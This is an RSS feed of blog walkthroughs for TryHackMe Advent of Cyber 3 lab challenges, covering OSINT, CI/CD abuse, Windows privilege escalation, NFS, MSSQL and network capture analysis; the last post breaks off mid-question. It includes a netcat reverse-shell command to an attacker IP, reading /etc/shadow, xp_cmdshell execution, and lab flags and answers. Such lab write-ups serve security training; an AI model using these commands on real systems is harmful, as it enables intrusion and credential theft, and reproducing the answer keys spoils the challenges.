<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Buddhsen Tripathi on Medium]]></title>
        <description><![CDATA[Stories by Buddhsen Tripathi on Medium]]></description>
        <link>https://medium.com/@buddhsen-tripathi?source=rss-ca66ec38e0fb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*eAUk_9ZW_CMGCvOPUtOK9w.jpeg</url>
            <title>Stories by Buddhsen Tripathi on Medium</title>
            <link>https://medium.com/@buddhsen-tripathi?source=rss-ca66ec38e0fb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 03:18:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@buddhsen-tripathi/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Advent of Cyber 3 Day 16 - Ransomware Madness Walkthrough]]></title>
            <link>https://medium.com/@buddhsen-tripathi/advent-of-cyber-3-day-16-ransomware-madness-walkthrough-b3b308957995?source=rss-ca66ec38e0fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3b308957995</guid>
            <category><![CDATA[advent-of-cyber-3]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[osint]]></category>
            <dc:creator><![CDATA[Buddhsen Tripathi]]></dc:creator>
            <pubDate>Sun, 26 Dec 2021 11:27:58 GMT</pubDate>
            <atom:updated>2021-12-26T11:27:58.903Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/534/0*RdcEYVLuLZOvdKzY.png" /></figure><p>You are the responding intelligence officer on the hunt for more information about the infamous “Grinch Enterprises” ransomware gang. <br>As a response to the recent ransomware activity from Grinch Enterprises, your team has managed to collect a sample ransomware note.</p><p>!!! ВАЖНЫЙ !!!</p><p>Ваши файлы были зашифрованы Гринчем. Мы используем самые современные технологии шифрования.</p><p>Чтобы получить доступ к своим файлам, обратитесь к оператору Grinch Enterprises.</p><p>Ваш личный идентификационный идентификатор: «b288b97e-665d-4105-a3b2–666da90db14b».</p><p>С оператором, назначенным для вашего дела, можно связаться как “GrinchWho31” на всех платформах.</p><p>!!! ВАЖНЫЙ !!!</p><p>Translation:</p><p>‎!!! IMPORTANT!!!‎</p><p>‎Your files were encrypted by the Grinch. We use state-of-the-art encryption technology.‎</p><p>‎To access your files, contact Grinch Enterprises.‎</p><p>‎Your personal identification ID is “b288b97e-665d-4105-a3b2–666da90db14b”.‎</p><p>‎The operator assigned to your case can be contacted as “GrinchWho31” on all platforms.‎</p><p>‎!!! IMPORTANT!!!‎</p><blockquote><em>No answer needed — Submit</em></blockquote><p>What is the operator’s username?</p><blockquote>GrinchWho31</blockquote><p>We could start by manually checking, searching the operator’s username on Google in high hopes — or we could leverage some of the cool tools that the security community has build. One very quick’n’dirty, is the webpage: <a href="https://whatsmyname.app/">https://whatsmyname.app/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*ARUE3vtTTxa95Z-j5fDknQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*sudsec1yweMyi3Ajf9SJ_Q.png" /></figure><p>Looking at the keybase.io-account for the operator, we see that the operator has connected a twitter-account. And looking at the twitter-account, we clearly sees that this is a real personal-account associated with the username that we saw earlier.</p><p>What social media platform is the username associated with?</p><blockquote>Twitter</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*lBegrOZ-hzhBAmAw26dJfQ.png" /></figure><p>What is the cryptographic identifier associated with the operator?</p><blockquote>1GW8QR7CWW3cpvVPGMCF5tZz4j96ncEgrVaR</blockquote><p>What platform is the cryptographic identifier associated with?</p><blockquote>Keybase.io</blockquote><p>A bit more tricky is the next question. Because, where is that bitcoin address leaked from? We see the address on the keybase.io site, but that is not the answer.<br>Nothing interesting is found in the twitter-account that we found, but on the keybase.io we also see a linked GitHub-account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jx7kc4prQ_l-e_2WIax_Ag.png" /></figure><p>On GitHub we see two repositories — “Christmas-Stealer” as C++ code and “ChristBASHTree” as shell/bash-code. Taking a look on the “Christmas-Stealer” we see a single file ransom.cpp, we see a reference to the Bitcoin-addr.</p><p>What platform does the operator leak the bitcoin address on?</p><blockquote>Github</blockquote><p>In the other repository of the user, “ChristBASHTree”, looking at the commit-history we quickly find the latest commit where the user removed name and email — just forgetting that when it first was committed and uploaded to GitHub, the history is preserved and we are able to find that information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*ZFwDYFXlh_t5zK1L4rBUjw.png" /></figure><p>What is the operator’s personal email?</p><blockquote><a href="/service/mailto:DonteHeath21@gmail.com">DonteHeath21@gmail.com</a></blockquote><p>What is the operator’s real name?</p><blockquote>Donte Heath</blockquote><p>OSINT has been performed and we have answered all the questions in the challenge.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3b308957995" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 3 Day 14 — Dev(Insecure)Ops Walkthrough]]></title>
            <link>https://medium.com/@buddhsen-tripathi/advent-of-cyber-3-day-14-dev-insecure-ops-walkthrough-5b4619a837b?source=rss-ca66ec38e0fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b4619a837b</guid>
            <category><![CDATA[cicd]]></category>
            <category><![CDATA[advent-of-cyber-3]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Buddhsen Tripathi]]></dc:creator>
            <pubDate>Sun, 26 Dec 2021 11:27:14 GMT</pubDate>
            <atom:updated>2021-12-26T11:27:14.084Z</atom:updated>
            <content:encoded><![CDATA[<h3>Advent of Cyber 3 Day 14 — Dev(Insecure)Ops Walkthrough</h3><p><strong>Story</strong></p><p>McDev — the head of the dev team, sends an alarming email stating that they’re unable to update the best festival company’s external web application. Without this update, no one can view the Best Festival Company’s plan. The dev team has been using a CI/CD server to automatically push out updates to the server but the CI/CD server has been compromised. Can you help them get their server back?</p><p><strong>Learning Objectives</strong></p><ol><li>Understanding the CI/CD concept</li><li>Overview of risks associated with CI/CD</li><li>Having a basic understanding of CI/CD exploitation vectors</li></ol><p>What is CI/CD?</p><p>CI/CD are two terms that will often come up when talking about software development and DevOps. Their definitions are pretty straightforward.<br>CI: Continuous Integration is the process in which software source code is kept in a central repository (such as GitHub). All changes are stored in this central repository to avoid ending up with different versions of the same code.<br>CD: Continuous Delivery is the following (sometimes integral) step of the continuous integration model where code is automatically deployed to the test, pre-production, or production environments. CD is sometimes used as an acronym for “Continuous Deployment”. If you feel like the terms above don’t seem to have clear limits, you are right. CI, CD, and the other CD are all part of DevOps best practices that aim to make code delivery faster and more reliable.</p><p>CI/CD should be considered as a set of practices that are put in place to enable development teams to make changes, test their code, and deploy the application more reliably.</p><p>We should think of CI/CD as a continuous process or loop that includes steps of the software development process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*YeZsJWJlG1s7nMZ9F0bofw.png" /></figure><p>How many pages did the dirb scan find with its default wordlist?</p><p>we can use</p><pre>dirb http://&lt;target-ip&gt;</pre><p>or</p><pre>gobuster dir -u http://&lt;target-ip&gt; -t 100 -w /usr/share/wordlists/dirb/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*NQvzBtBpWXrmAT9wXgmIHg.png" /><figcaption>Not counting the “hidden” . -files</figcaption></figure><blockquote>4</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/0*cd78fFEuD6tM68R8.png" /></figure><p>And taking a look directly on the embedded page, we see that it very much resembles the output from the linux command ls used to show the content of a directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*Of_jKqIKe8dF2rqeS4mYuw.png" /></figure><p>How many scripts do you see in the /home/thegrinch/scripts folder?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*TVNHRXsRKd5Q5zPQywW00g.png" /></figure><blockquote>4</blockquote><p>Looking at the sudo-capabilities and group memberships for our user, it seems that we are not allowed to do much.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*ZboEmTbEqsRHRWhTccqGvA.png" /></figure><p>But! A misconfiguration — or at least a very unsecure configuration, is visible on the file /home/thegrinch/scripts/loot.sh as we can see in the picture from before, it having write-permissions to all. Meaning that we can change the content of that file and get the Grinch&#39;s CI/CD automation to run that code for us.</p><p>On linux, the password-hashes are stored in the file /etc/shadow. So, using the command cat we can in a simple manner, extract the information from the file and push it to the ls.html-page.</p><pre>cat loot.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*woMIK123BN_9cFG1sI8XNQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*aCXXyhUSD-3HkvmYyF2YwQ.png" /></figure><p>What are the five characters following $6$G in pepper’s password hash?</p><blockquote>ZUP42</blockquote><p>What is the content of the flag.txt file on the Grinch’s user’s desktop?</p><p>Same way edit loot.sh to view the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*5wM5H39Un4KtezfHkvRzHg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*KRBXE5p_gcWbzS0vJjWKCg.png" /></figure><blockquote>DI3H4rdIsTheBestX-masMovie!</blockquote><p>Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b4619a837b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 3 Day 13 — They Lost The Plan! Walkthrough]]></title>
            <link>https://medium.com/@buddhsen-tripathi/advent-of-cyber-3-day-13-they-lost-the-plan-walkthrough-5dc7e48a074d?source=rss-ca66ec38e0fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/5dc7e48a074d</guid>
            <category><![CDATA[advent-of-cyber-3]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[windows-privilege-esc]]></category>
            <dc:creator><![CDATA[Buddhsen Tripathi]]></dc:creator>
            <pubDate>Sun, 26 Dec 2021 10:38:02 GMT</pubDate>
            <atom:updated>2021-12-26T10:38:02.297Z</atom:updated>
            <content:encoded><![CDATA[<h3>Advent of Cyber 3 Day 13 — They Lost The Plan! Walkthrough</h3><p><strong>Story</strong></p><p>McSkidy has realized that she worked on a rough draft of a disaster recovery plan but locked down the permissions on the file to ensure that it was safe. However, the Grinch accessed the local system and reduced the permissions of her account. Can you elevate her privileges and get the file back?</p><p><strong>Learning Objectives</strong></p><ol><li>Understanding different types of user privileges in Windows</li><li>Different privilege escalation techniques</li><li>Exploiting a privilege escalation vulnerability</li></ol><p>Before you begin, please start the target machine. You can use in-browser access or connect to it over RDP using the credentials below.</p><p><strong>Username:</strong> mcskidy</p><p><strong>Password:</strong> Password1</p><p>Let’s get into questions.</p><p>Complete the username: p…..</p><p>use the command ‘net users’ to list all the users</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*_d1B4kvdSRXxYvkSZdGHkw.png" /></figure><blockquote>pepper</blockquote><p>What is the OS version?</p><p>we can use systeminfo | findstr /B /C: “OS Name”/C: “OS Version” or simply systeminfo shall do the job</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*lWXsOP8ZmxXgctokYctRmQ.png" /></figure><blockquote>10.0.17763 N/A Build 17763</blockquote><p>What backup service did you find running on the system?</p><pre>wmic service list | findstr &quot;Iperius&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*AkT7A7dqnuT186PhZbWZmQ.png" /></figure><p>funny how the answer is in hints</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*f5u7uQlGv3fzPXSzEfql2g.png" /></figure><blockquote>IperiusSvc</blockquote><p>What is the path of the executable for the backup service you have identified?</p><blockquote>C:\Program Files (x86)\Iperius Backup\IperiusService.exe</blockquote><p>The Iperius Backup Service suffers from a privilege escalation vulnerability. McSkidy could use it to elevate her privileges on the system. When Iperius Backup is installed as a service, it can be configured to run backup tasks with administrator privileges even if the current user has a lower privilege level.</p><p>Now, we create a bath file on the desktop of our RDP or AttackBox windows box and inject a small code that helps us open a netcat connection!</p><p>Make a .bat file on target machine</p><pre>C:\Users\McSkidy\Downloads\nc.exe &lt;Your Tun0 ip&gt; 1337 -e cmd.exe</pre><p>1) Create a new backup task: The task itself is not important. You can set the backup path as C:\Users\McSkidy\Documents</p><p>2) Set the destination: From the destination tab, you can set the location where the backup will be written. Again, this is not important; you can set it to C:\Users\McSkidy\Desktop</p><p>3) Other processes: The “other processes” tab is important. As you can see, this gives us the option to set a program to run before or after every backup process. As the backup process is ran with administrator privileges, any program or external file configured here will be ran with administrator privileges. To exploit this, we will create a simple bat file and set it to run before the backup.</p><p>here the file, we’ve created is evil.bat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*yRDPIWSm25J_kl-gMhbmxw.png" /></figure><p>Once we’ve selected the file and configured the settings, right click and select run backup as service, a shell will be spawned on your machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*lZ8kOVow7xhPwTk4vf8kow.png" /></figure><p>we’ve the shell to the machine, use whoami command to see which user we’ve access to</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*0HMXZJwTlLMxHs9Y_sjMGg.png" /></figure><p>Privilege Escalation achieved!!!</p><p>Run the whoami command on the connection you have received on your attacking machine. What user do you have?</p><blockquote>the-grinch-hack\thegrinch</blockquote><p>What is the content of the flag.txt file?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*XlTRE2-0ZiZMLoYiU7CxIw.png" /></figure><blockquote>THM-736635221</blockquote><p>The Grinch forgot to delete a file where he kept notes about his schedule! Where can we find him at 5:30?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*AuApYALn0Y4N_nrakN8JyA.png" /></figure><blockquote>jazzercize</blockquote><p>Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5dc7e48a074d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 3 Day 12 — Sharing Without Caring Walkthrough]]></title>
            <link>https://medium.com/@buddhsen-tripathi/advent-of-cyber-3-day-12-sharing-without-caring-walkthrough-fb52125beebf?source=rss-ca66ec38e0fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb52125beebf</guid>
            <category><![CDATA[advent-of-cyber-3]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[nmap]]></category>
            <dc:creator><![CDATA[Buddhsen Tripathi]]></dc:creator>
            <pubDate>Sun, 26 Dec 2021 09:48:44 GMT</pubDate>
            <atom:updated>2021-12-26T09:48:44.699Z</atom:updated>
            <content:encoded><![CDATA[<h3>Advent of Cyber 3 Day 12 — Sharing Without Caring Walkthrough</h3><p>Grinch Enterprises has been leaving traces of how their hackers have been accessing data from the system — you’ve found a unique server they use. We need your help to find out what method they’ve been using to extract any data.</p><p>We have noticed that 10.10.8.158 is generating unusual traffic. We highly suspect that Grinch Enterprises are using it to access our data. We will use Nmap to discover the services are running on their server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vniA-JZ5bYbz_gqC.png" /></figure><p>Scan the target server with the IP 10.10.8.158. Remember that MS Windows hosts block pings by default, so we need to add -Pn, for example, nmap -Pn 10.10.8.158 for the scan to work correctly. How many TCP ports are open?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*unsC-GXLcFurOreNUheLeA.png" /></figure><blockquote>7</blockquote><p>Network File System (NFS) is a protocol that allows the ability to transfer files between different computers and is available on many systems, including MS Windows and Linux. Consequently, NFS makes it easy to share files between various operating systems.</p><p>In the scan results you received earlier, you should be able to spot NFS or mountd, depending on whether you used the -sV option with Nmap or not. Which port is detected by Nmap as NFS or using the mountd service?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*oM07sve2D0TQdsEEPWsdZw.png" /></figure><blockquote>2049</blockquote><p>Now that we have discovered an NFS service is listening, let’s check what files are being shared. We can do this using the command showmount. In the terminal below, we run showmount -e 10.10.8.158. The -e or --exports show the NFS server’s export list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*Yx9DO0Xs_XWoSwbjNJaPMQ.png" /></figure><p>How many shares did you find?</p><blockquote>4</blockquote><p>How many shares show “everyone”?</p><blockquote>3</blockquote><p>Let’s try to mount the shares we have discovered. We can create a directory on the AttackBox using mkdir tmp1, where tmp1 is the directory’s name. Then we can use this directory we created to mount the public NFS share using: mount 10.10.8.158:/my-notes tmp1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*GlkajzdRwf8zILHAwW1Kbg.png" /></figure><p>note: shall require root permissions</p><p>There are two text files. We can open the file using any text editor such as nano FILENAME or something quicker such as less FILENAME.</p><p>What is the title of file 2680–0.txt?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*0MJKL3dZT5ALLwrWJyNwsg.png" /></figure><blockquote>Meditations</blockquote><p>It seems that Grinch Enterprises has forgotten their SSH keys on our system. One of the shares contains a private key used for SSH authentication (id_rsa). What is the name of the share?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*tUkUX5p4aplGSWp0cQJZKg.png" /></figure><blockquote>Confidential</blockquote><p>We can calculate the MD5 sum of a file using md5sum FILENAME. What is the MD5 sum of id_rsa?</p><blockquote>3e2d315a38f377f304f5598dc2f044de</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb52125beebf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 3 Day 11 — Where Are The Reindeers? Walkthrough]]></title>
            <link>https://medium.com/@buddhsen-tripathi/advent-of-cyber-3-day-11-where-are-the-reindeers-walkthrough-63e04ca24477?source=rss-ca66ec38e0fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/63e04ca24477</guid>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[advent-of-cyber-3]]></category>
            <dc:creator><![CDATA[Buddhsen Tripathi]]></dc:creator>
            <pubDate>Sat, 25 Dec 2021 15:31:27 GMT</pubDate>
            <atom:updated>2021-12-25T15:31:27.266Z</atom:updated>
            <content:encoded><![CDATA[<h3>Advent of Cyber 3 Day 11 — Where Are The Reindeers? Walkthrough</h3><p>McDatabaseAdmin came rushing into the room and cried to McSkidy, “We’ve been locked out of the reindeer schedule — how will Santa’s transportation work for Christmas?” The grinch has locked McDatabaseAdmin of his system. You need to probe the external surface of the server to see if you get him his access back.</p><p>MS SQL Server is a Relational Database Management System (RDBMS). One simple way to think of a relational database is a group of tables that have relations. To gain a rough understanding of relational databases work, consider a shop’s database with the following three tables:</p><ol><li>Electronic Items</li><li>Customers</li><li>Invoices</li></ol><p>Each item in the Electronic Items table has:</p><ul><li>ID</li><li>Name</li><li>Price</li><li>Quantity</li></ul><p>Each item in the Customers table has its own attributes as well:</p><ul><li>ID</li><li>Name</li><li>Email</li><li>Phone</li></ul><p>Finally, the Invoices table will refer to a customer and one or more electronic items. The Invoice table will refer to an “entity” from another table using its ID. This way, we only need to have the customer details and electronic item details written once instead of copying them to each new invoice. This case is a simplified example of a relational database. The figure below shows how the three tables are related.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5gtdRPAqqxsReULL.png" /></figure><p>The transportation schedule is in the reindeer database. However, McDatabaseAdmin can no longer log in to his system after the grinch changed the system password. Let’s see how we can help.</p><p>Let’s get into questions</p><p>You decided that the first step would be to check the running services on 10.10.106.219. You resort to yesterday’s tool, Nmap.</p><p>Knowing that 10.10.106.219 is a MS Windows system, you expect it to not respond to ping probes by default; therefore, you need to add -Pn to your nmap command to perform the scan. This instructs Nmap to skip pinging the target to see if the host is reachable. Without this option, Nmap will assume the target host is offline and not proceed with scanning.</p><p>There is an open port related to MS SQL Server accessible over the network. What is the port number?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*ThLpqMExJMkkZZar2euSZw.png" /></figure><blockquote>1433</blockquote><p>Knowing the MS SQL Server is running and accessible over the network, we want to check if our username and password are still valid. Using the AttackBox terminal, we will use the command sqsh (pronounced skwish), an interactive database shell.</p><p>A simple syntax would be sqsh -S server -U username -P password, where:</p><ul><li>-S server is used to specify the server, for example -S 10.10.106.219</li><li>-U username is used to provide the username; for example, -U sa is the username that we have enabled.</li><li>-P password lets us specify the password.</li></ul><p>Let’s try to run, sqsh -S 10.10.106.219 -U sa -P t7uLKzddQzVjVFJp</p><p>If the connection is successful, you will get a prompt. What is the prompt that you have received?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*LydWSe3gTtHanXDuKWAHgg.png" /><figcaption>v</figcaption></figure><blockquote>1&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4GhNflt18zl0l16m1q49Hg.png" /></figure><p>What is the first name of the reindeer of id 9?</p><blockquote>Rudolph</blockquote><p>Check the table schedule. What is the destination of the trip scheduled on December 7?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*tP6J4U0E6zHxNBoAjkVhKQ.png" /></figure><blockquote>Prague</blockquote><p>Check the table presents. What is the quantity available for the present “Power Bank”?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zf5dC9sdKwYs9Vhlre4E1A.png" /></figure><blockquote>25000</blockquote><p>Some MS SQL Servers have xp_cmdshell enabled. If this is the case, we might have access to something similar to a command prompt.</p><p>The command syntax is xp_cmdshell &#39;COMMAND&#39;;. Let’s try a simple command, whoami, which shows the user running the commands. In the terminal output below, after connecting to MS SQL Server, we tried xp_cmdshell &#39;whoami&#39;;, and we can see that the user is nt service\mssqlserver. This means that any command we pass to xp_cmdshell will run as nt service\mssqlserver</p><p>We can run other commands that we can execute on the MS Windows command line. For example, we can use dir to list files and directories and type filename to display the contents of a file. Consider the example in the terminal window below where we reveal the contents of the text file WindowsUpdate.log</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*fpHY6lWbpbFilMZlGU6Kxg.png" /></figure><pre>xp_cmdshell &#39;dir C:\Users\grinch\Documents&#39;;<br>go</pre><p>we’ll see a file named ‘flag.txt’</p><pre>xp_cmdshell &#39;type C:\Users\grinch\Documents\flag.txt&#39;;<br>go</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*fui0LsJbu-Lwp7UWbx1puw.png" /></figure><blockquote>THM{YjtKeUy2qT3v5dDH}</blockquote><p>Congratulations, the flag you have recovered contains the password of McDatabaseAdmin! In this task, we learned how to use sqsh to interact with a MS SQL Server. We learned that if xp_cmdshell is enabled, we can execute system commands and read the output using sqsh.</p><blockquote>No answer needed — Submit</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63e04ca24477" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 3 Day 10— Offensive Is The Best Defence Walkthrough]]></title>
            <link>https://medium.com/@buddhsen-tripathi/advent-of-cyber-3-day-10-offensive-is-the-best-defence-walkthrough-4db206d936cc?source=rss-ca66ec38e0fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/4db206d936cc</guid>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[advent-of-cyber-3]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Buddhsen Tripathi]]></dc:creator>
            <pubDate>Sat, 25 Dec 2021 15:00:31 GMT</pubDate>
            <atom:updated>2021-12-25T15:00:31.918Z</atom:updated>
            <content:encoded><![CDATA[<p>McSkidy is trying to discover how the attackers managed to penetrate the network and cause damage to the Best Festival Company’s infrastructure. She decided to start doing a security assessment of her systems to discover how Grinch Enterprises managed to cause this damage. She started by conducting a security assessment of her systems to discover how Grinch Enterprises managed to cause this damage and wonders what service they exploited.</p><p>Before McSkidy starts firing up Nmap, let’s review some keywords related to her task. If you are familiar with the terms IP address, protocol, server, and port number, feel free to skip the following three sections and start directly with the Nmap section.</p><p>Deploy the VM and let’s get into questions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*7afcossoN6CRyyb01vs-vg.png" /></figure><p>Help McSkidy and run nmap -sT &lt;MACHINE-IP&gt;. How many ports are open between 1 and 100?</p><blockquote>2</blockquote><p>What is the smallest port number that is open?</p><blockquote>22</blockquote><p>What is the service related to the highest port number you found in the first question?</p><blockquote>http</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*y3Xi4SoFxUBkB_xjzs5pNg.png" /></figure><p>note: -sS switch requires root privileges</p><p>Now run nmap -sS &lt;MACHINE-IP&gt;. Did you get the same results? (Y/N)</p><blockquote>Y</blockquote><p>If you want Nmap to detect the version info of the services installed, you can use nmap -sV &lt;MACHINE-IP&gt;. What is the version number of the web server?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dTPFuuOKo1muHC2shoFsxA.png" /></figure><blockquote>Apache httpd 2.4.49</blockquote><p>By checking the <a href="https://httpd.apache.org/security/vulnerabilities_24.html">vulnerabilities related to the installed web server</a>, you learn that there is a critical vulnerability that allows path traversal and remote code execution. Now you can tell McSkidy that Grinch Enterprises used this vulnerability. What is the CVE number of the vulnerability that was solved in version 2.4.51?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*PX70GUT7c5WBv_Ky9rn4FQ.png" /></figure><blockquote>CVE-2021–42013</blockquote><p>You are putting the pieces together and have a good idea of how your web server was exploited. McSkidy is suspicious that the attacker might have installed a backdoor. She asks you to check if there is some service listening on an uncommon port, i.e. outside the 1000 common ports that Nmap scans by default. She explains that adding -p1-65535 or -p- will scan all 65,535 TCP ports instead of only scanning the 1000 most common ports. What is the port number that appeared in the results now?</p><p>The scan was taking way too much time, when we toggle to hint we see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*d0EFB2l0b80MZuY1GNXdHg.png" /></figure><p>therefore, run nmap -sT -p20000–21000 -T4 &lt;MACHINE-IP&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*0SNfJA3TtRWVJv9lqWQVxg.png" /></figure><p>we can see the port 20212 is open</p><blockquote>20212</blockquote><p>What is the name of the program listening on the newly discovered port?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*pOiKqtKPneLBFYN1DJU_BA.png" /></figure><blockquote>telnetd</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4db206d936cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 3 Day 9— Where Is All This Data Going Walkthrough]]></title>
            <link>https://medium.com/@buddhsen-tripathi/advent-of-cyber-3-day-9-where-is-all-this-data-going-walkthrough-4fb57229a47e?source=rss-ca66ec38e0fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/4fb57229a47e</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[advent-of-cyber-3]]></category>
            <dc:creator><![CDATA[Buddhsen Tripathi]]></dc:creator>
            <pubDate>Sat, 25 Dec 2021 11:26:00 GMT</pubDate>
            <atom:updated>2021-12-25T11:26:00.724Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z690IhuZrSrk5fVZ2kg7GA.png" /></figure><p>Download the required file and let’s get into questions.</p><p>In the <strong>HTTP #1 — GET</strong> requests section, which directory is found on the web server?</p><p>Use the protocol tab filter to find the HTTP #1 — GET request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*PB--xmJLE9ebNQknmUK3ig.png" /></figure><blockquote>login</blockquote><p>What is the username and password used in the login page in the <strong>HTTP #2 — POST</strong> section?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*Sy7VuW6a7efCVQqaLIzPzw.png" /></figure><blockquote>McSkidy:Christmas2021!</blockquote><p>What is the User-Agent’s name that has been sent in <strong>HTTP #2 — POST </strong>section?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*6tqI_YqtmGvjYX9Wk7dp1Q.png" /></figure><blockquote>TryHackMe-UserAgent-THM{d8ab1be969825f2c5c937aec23d55bc9}</blockquote><p>In the DNS section, there is a TXT DNS query. What is the flag in the message of that DNS query?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jI2Y2txyxYLn5A1vrQ9_JQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*nRmcYTFNFcWu8GDuyOIENQ.png" /></figure><blockquote>THM{dd63a80bf9fdd21aabbf70af7438c257}</blockquote><p>In the FTP section, what is the FTP login password?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*9KZkW_vPGAwdhFFSi_mIlA.png" /></figure><blockquote>TryH@ckM3!</blockquote><p>In the FTP section, what is the FTP command used to upload the secret.txt 